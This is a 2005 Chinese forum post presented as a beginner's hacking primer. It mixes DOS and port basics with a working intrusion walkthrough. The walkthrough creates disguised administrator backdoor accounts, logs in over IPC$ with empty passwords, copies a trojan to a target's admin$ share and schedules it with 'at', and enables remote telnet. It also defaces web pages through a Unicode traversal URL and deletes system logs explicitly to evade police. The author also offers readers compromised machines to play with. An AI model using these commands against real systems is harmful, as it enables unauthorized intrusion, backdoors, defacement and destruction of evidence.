找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 48|回复: 1

菜鸟基本知识——黑客入门

[复制链接]

67

主题

836

回帖

5万

积分

新手上路

积分
52513
发表于 2005-9-13 22:47:35 | 显示全部楼层 |阅读模式

SK龙行天下 瞥了一眼说道:菜鸟基本知识——黑客入门

大家可以在上机的时候 用机房的机器做练习的,以前我试过,没问题. 一、计算机基础 1)DOS命令 cd (改变当前目录) copy (拷贝文件) del (删除文件) deltree(删除目录树) dir(列文件名) edit(文本编辑) format( 格式化磁盘 ) md(建立子目录) mem (查看内存状况) type(显示文件内容) rd(删除目录) ren(改变文件名) ..... 这些命令虽然和网络安全没有直接的关系,但这个是你起步时必须要知道的,也就是说,如果这些命令的应用还没有掌握,就必须先把这些给搞懂了。    2)对WINDOWS界面的了解 玩过电脑的人都知道,友好的界面,操作起来也不是很难,但我要你达到的不是操作这个目的,而是原理,暂且不说汇编程序这些,你至少也应该知道什么东西放在哪个目录下吧! 如果你对其的熟练程度不亚于比尔·盖茨对Windows的了解度,那你真的就成功了。呵呵,开个玩笑,至少大家现在还达不到这个水平。    二、网络相关 1、应用GOOGLE或其它搜索引擎,其实它才是你最好的老师,我也应该感谢LANTUCHEN让我对GOOGLE有着这么大的兴趣。也许有些功能是你想象不到的,比如,你可以用GOOGLE来找出漏洞的主机,也就是,你只要在GOOGLE中填入相关的一些漏洞代码(比如你利用UNICODE漏洞的时候,是不是在IE中打入一些代码来实现了,这就恰好符合了GOOGLE的要求,呵呵),就可以搜索到一批相关的漏洞。 2、对端口的认识 端口就好象是大门,比如象我们学校,就有N个大门,东南西北都有,就是说,一个服务器也可以开N个端口,不过,也是有一定的限制的。 现在我介绍一下常见的端口吧! 1)、telnet登录的端口 (23/tcp) 这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机,这种不用密码的远程登录服务是危险的,如果可以匿名登录,任何人可以在服务器和客户端之间发送数据。 2)、WWW(80/TCP)端口 它表明WWW服务在该端口运行 别告诉我你不知道WWW服务是什么哦,也就是说,如果有网站的服务器都有80端口。 3)、FTP(21/tcp) ftp服务和TELNET服务一样,你还可以从FTP服务器上获得或上传资料木马等,有的还是匿名登陆的,不过这样的好事好像不多。 4)、ECHO(7/tcp) 你在命令行中试着打入echo 我是一个奇客 >>c:\qiker.txt,看C盘看看,是不是多了一个文件,不用我说,大家也应该知道什么作用了吧! 5)、smtp端口(25/tcp) 该端口开放邮件传输协议 如果你的技术成熟,也许就能用它穿过防火墙。 6)、finger (79/tcp) 端口 finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等。 7)、远程控制(3389) 还有一个端口要重点介绍,对于你们来说,3389是不可避免的,因为他也是最容易被让你操作的,有空,我也可以给你们做几个3389的肉鸡让你们玩玩啊! 再比如110,13,22……等,都必须去掌握。    3、木马的基本知识    尽管老资格的“黑客”不大会去使用木马,但我观察,绝大部分的入侵都是通过木马来进行的,比如小榕的一个SRV.exe,那也是木马中的一种啊。它的威力是众所周知的,一但被植入,就有被远程控制的可能,攻击者就可以象操作自己的机器一样控制你的机器,甚至可以远程监控你的所有操作。 你必须去了解木马是如何侵入的?入侵的基本原理。在这里,我希望你会用它并且很熟悉的使用,记得当时我也是从接触木马开始的,它培养了我对黑客技术的兴趣。 当今比较流行的木马有冰河的木马,我曾经问它是否会继续开发冰河,他给了完全否定的答案,呵呵,并且说它的危害性太大了。 它的默认端口是7626。 BO2000 这个比较古老的木马了,一般那些资深的黑客也都使用过它。 我叫你了解和掌握使用方法,并不是说,叫你知道去破坏啊, or you are a badboy!别误会,不是说你。并不需要你了解所有的木马,只要了解基本原理。 放送下,讲个故事给大家听吧:传说希腊人围攻特洛伊城,久久不能得手。后来想出了一个木马计,让士兵藏匿于巨大的木马中。大部队假装撤退而将木马摈弃于特洛伊城下,让敌人将其作为战利品拖入城内。木马内的士兵则乘夜晚敌人庆祝胜利、放松警惕的时候从木马中爬出来,与城外的部队里应外合而攻下了特洛伊城。    4、对网络命令的熟悉 1)、NET 下面的操作你TELNET到对方主机上才会有效果。 你也可以在本地演示: 我要添加一个用户,为了让对方难察觉,最好贴加一个用户和系统用户差不多的 比如admin net user admin password /add 再将这个用户加到管理组 net localgroup administrator admin /add 这样就算一个后门做好了!这台机子也就可以说是你的肉鸡了。    net start telnet 这样可以打开对方的TELNET服务. 为了防止admin用户被察觉 将Guest用户激活,guest是NT的默认用户,而且很难删除的 net user guest /active:yes 这里是把一个用户的密码改掉,我们把guest的密码改为lovechina。 net user guest lovechina    一般IPC$入侵用NET比较多吧 基本命令是 net use \\211.15.66.169\ipc% "123456" /user:"qiker" (这个IP是我的,可千万别黑哦) 123456是密码,qiker是用户 退出的命令是 net use \\\ipc$ /delte    先别急着退出,查看硬盘上的东西,就把它的C盘映射到我的Z盘吧! net use z:\\211.15.66.169\c$    at命令是用来运行程序的 一般你会复制一个木马上去 COPY C:\binhe.exe \\211.15.66.169\admin$ 在运行之前,你还必须要先知道他的时间 net time \\211.15.66.169 将会返回一个时间,这里假设时间为2:05,现在需要新建一个作业,其ID=1 at \\211.15.66.169 2:07 binhe.exe    2)、set    要黑别人网页必须要知道他的目录是在哪里的,默认情况一般会在c:\inetup\wwwroot 登陆到对方机子打入SET命令就可以看到: COMPUTERNAME=PENTIUMII ComSpec=D:\WINNT\system32\cmd.exe CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=*/* HTTP_ACCEPT_LANGUAGE=zh-cn HTTP_CONNECTION=Keep-Alive HTTP_HOST=211.15.66.169 HTTP_ACCEPT_ENCODING=gzip, deflate HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) NUMBER_OF_PROCESSORS=1 Os2LibPath=D:\WINNT\system32\os2\dll; OS=Windows_NT Path=D:\WINNT\system32;D:\WINNT PATHEXT=.COM;.EXE;.BAT;.CMD PATH_TRANSLATED=E:\vlroot(大家看到这里没有,这就是网站的目录了。) PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0303 PROMPT=$P$G QUERY_STRING=/c+set REMOTE_ADDR=XX.XX.XX.XX REMOTE_HOST=XX.XX.XX.XX REQUEST_METHOD=GET SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe SERVER_NAME=XX.XX.XX.XX SERVER_PORT=80 SERVER_PORT_SECURE=0 SERVER_PROTOCOL=HTTP/1.1 SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0 SystemDrive=D: SystemRoot=D:\WINNT TZ=GMT-9 USERPROFILE=D:\WINNT\Profiles\Default User windir=D:\WINNT    要黑很容易,只要把自己准备好的网页替换上去就是了,默认主页名称一般会是default.htm,default.asp,index.html,index.htm,index.asp 3)、nbtstat 这个命令非常的重要,一般你也许会听说139端口开着有多危险,因为你只要开着,就可以通过NETSTAT来得到用户,只要破解出来了, 那你的机子就完蛋了。 命令是 nbtstat -A XX.XX.XX.XX -A一定要大写哦。 下面是得到的结果。 NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- Registered Registered Registered Registered Registered Registered Registered Reg istered Registered Registered Registered MAC Address = 00-E0-29-14-35-BA PENTIUMII <00> UNIQUE PENTIUMII <20> UNIQUE ORAHOTOWN <00> GROUP ORAHOTOWN <1C> GROUP ORAHOTOWN <1B> UNIQUE PENTIUMII <03> UNIQUE INet~Services <1C> GROUP IS~PENTIUMII...<00> UNIQUE ORAHOTOWN <1E> GROUP ORAHOTOWN <1D> UNIQUE ..__MSBROWSE__.<01> GROUP    <03>前面的就是用户。    这里的用户是PENTIUMII。    4)、attrib    这个是去只读命令 attrib -r index.htm 这个命令是把index.htm的只读属性去掉。 如果把“-”改为“+”则是把这个文件的属性设置为只读 attrib +r index.htm    5)、netstat 这个命令,我称它为监听命令,只要我和某台机子通讯,我就可以得到他的IP netstat -an 不过你的速度一定要比快    6)、echo echo 奇客>index.htm echo 奇客>>index.htm 第一个的意思是覆盖index.htm原有的内容,把“奇客”写进index.htm。 第二个的意思是把“奇客”加到index.htm里面。 “>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。 大家可以本地测试    7)、del    现在的网警可不是喝粥的,不会两手发软,你还是赶快清理你的脚印,就是所谓的日志。 NT/2000的日志有这些需要删除了。 del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log    用小榕的工具也可以,你只要把文件复制上去,再打几个命令,就行    5、网络协议 1)、TCP/IP及其应用。TCP/IP是Internet上使用的协议,而Internet是世界上最大的互联网络。有关TCP/IP的各个方面,包括开放式通信模型、TCP/IP通信模型、IP网络中的命名和寻址机制、地址解析及反向地址解析协议、DNS域字服务器、WINS、地址发现协议、IPv6、IP网络中的路由协议(RIP、OSPF等)、互联网打印协议、LDAP目录服务、远程访问协议、IP安全与防火墙。如何为Windows 9x/NT配置TCP/IP;如何使用TCP/IP应用程序,包括远程登录、FTP、Web浏览等 2)、还要了解UDP协议 比如我们使用的QQ,它就是通过UDP协议来传输信息的。不过它有个特征就是只管传输不管对方是否收到。 3)、icmp等几个协议 如果你想尽快接触那种可爱型的拒绝服务式攻击,你必须对这些了如指掌。

命令的使用 你必须懂得一些命令才能更好地运用!总不能一边入侵一边去看例文吧!(什么?你喜欢?我晕了~)好了~下面就看看一些常用的命令吧!也就是入侵必须懂得的基本命令!如果你连这都栏得看的话你就可以放学了~放你的长假去吧! 1.net NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION | SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] 上面就是net命令.你可以在cmd下键入net/?获得.我们看看一些常用的. net user \\列举所有用户\\ 例子:c:\>net user net localgroup \\把用户分组\\ 例子:c:\>net localgroup administrators guest /add \\把guest用户加到管理组.需要有足够的权限才能进行操作!\\ net share \\显示共享资源\\ 例子:c:\>net share net start \\启动服务,或显示已启动服务的列表\\ 例子:\>net start 例子:\>net start telnet \\启动telnet\\ net stop \\停止Windows2000网络服务\\ 例子c:\>net stop telnet \\停止telnet服务\\ net time \\显示时间\\ 例子:c:\>net time 127.0.0.1 \\显示127.0.0.1的时间\\ net use \\显示关于计算机连接的信息\\ 例子:c:\>net use net view \\显示域列表、计算机列表或者由指定计算机共享的资源\\ 例子:c:\>net view net的基本命令就到此结束吧!但并不是说其它的命令不用去学!只是我的基本教学(入侵)课程需要用的命令是这些而已~自己去windows帮助那里看看吧!DOS下的基本命令是很重要的!如:copy等.还有ftp等等重要的命令因为种种原因请各位自行去看.(基本课程不能太复杂的,OK?!!!)好了~下课~ 第二节课:端口和木马 A.第二节课了~这节课我们首先来学习一下端口吧!什么是端口?就是计算机和外界连接的通道!例如我们看网页用的实际上是80端口. 1)、telnet登录的端口 (23/tcp) 这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机. 2)、WWW(80/TCP)端口 它表明WWW服务在该端口运行 别告诉我你不知道WWW服务是什么哦,也就是说,如果有网站的服务器都有80端口。 3)、FTP(21/tcp) ftp服务和TELNET服务一样,你还可以从FTP服务器上获得或上传资料木马等,有的还是匿名登陆的,不过这样的好事好像不多。 4)、finger (79/tcp) 端口 finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等。 5)、远程控制(3389) 这个端口用于远程登陆. 还有一些常见的端口例如110,135,139,25等等等.....我们这次基础教程需要用到的是23端口.其它的因为觉得重要所以也列举了出来.剩下的请自己去补补.(不是我不负责任.是课程的问题!请谅解!)PS:并不是所有的端口都是有用的. B.木马 讲个故事给大家听吧!---->>传说希腊人围攻特洛伊城,久久不能得手。后来想出了一个木马计,让士兵藏匿于巨大的木马中。大部队假装撤退而将木马摈弃于特洛伊城下,让敌人将其作为战利品拖入城内。木马内的士兵则乘夜晚敌人庆祝胜利、放松警惕的时候从木马中爬出来,与城外的部队里应外合而攻下了特洛伊城。 木马的危害性是很大的!例如冰河等木马甚至可以远程控制你的电脑!同时木马也会打开一些端口.你也可以借查看端口来看看有没木马在你的电脑上运行.不过有的木马是利用已有的端口的.这个就比较麻烦了.需要用杀毒软件帮忙了~ \\我们的课程并不需要使用到木马.只是本人认为各位值得一学\\ 第三节课:ipc入侵. 好了~估计你们看了那么多基础的东西已经很不耐烦了~这节课就来实行你的第一次入侵吧!咳咳~放下你的AK-47,我们不需要那个家伙.... A.什么是ipc? IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用.利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能,就可以得到用户列表了,并可以配合字典,进行密码尝试。 B.OK!运用你在上两节课学到的知识跟我冲吧!掌握好你的命令使用了吗? 需要用的的扫描软件:xscan 操作系统:win2000(不要告诉我你那还是98或者me,我马上K了你!) 首先我们使用扫描器扫描一个IP段.打开xscan,选择"设置",再选"扫描模块",然后只选nt弱口令的那项.确定后选"设置","扫描参数"然后填入IP段.就127.0.0.1-127.0.0.255吧!(注意:IP段纯属虚构.) 假设我们已经扫到一个了.127.0.0.2 用户名:Administrator 密码:空(唉~真搞不清现在的人为什么这么没安全意识...) 打开cmd,输入:net use \\127.0.0.1\ipc$ "" /user:"Administrator" 命令成功完成.OK!下一步~ at \\127.0.0.1 \\这步纯属个人习惯.因为我想知道他开了AT没有.没开就放弃吧\\ 接下来我们需要编辑一个批处理文件.打开记事本,输入如下内容:@net start telnet 然后保存为a.bat \\注意扩展名!是bat!\\ 编辑好后就继续吧! copy a.bat \\127.0.0.1\admin$ \\admin$就是放在目标winnt的根目录下\\ net time \\127.0.0.1 \\看看目标的时间吧!有用的~\\ 假设是晚上9点.接着下一步吧! at \\127.0.0.1 20:01 a.bat \\用AT命令让目标运行a.bat.注意时间要24小时制的!\\ net time \\127.0.0.1 \\看看到时间没?\\ 假设到了,我们就实行下一步吧! telnet 127.0.0.1 \\登陆到对方的机子上.刚才的那个批处理就是用来打开它的23端口的~\\ 接着输入用户名和密码 \\就是用户Administrator啊!密码是空的.回车就行了~\\ OK!一切成功!现在你可以做你想做的事了~例如添加用户等等(就是命令的使用啊!所以说命令重要!) 请同学们注意不要乱删除别人的东西!我们只是学习技术.谁乱动我立即把他开除

我一直以为我是个人才,结果我错了,原来我是个天才~! 济南广电宽带,有线数字电视,,IP电话,远程网络视频监控.   QQ:94337626,E-mail:[email protected]
回复

使用道具 举报

4

主题

240

回帖

2万

积分

新手上路

积分
22423
发表于 2005-9-30 20:09:00 | 显示全部楼层
支持,顶。。。。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|似水流年

GMT+8, 2026-9-4 15:38 , Processed in 0.033292 second(s), 22 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.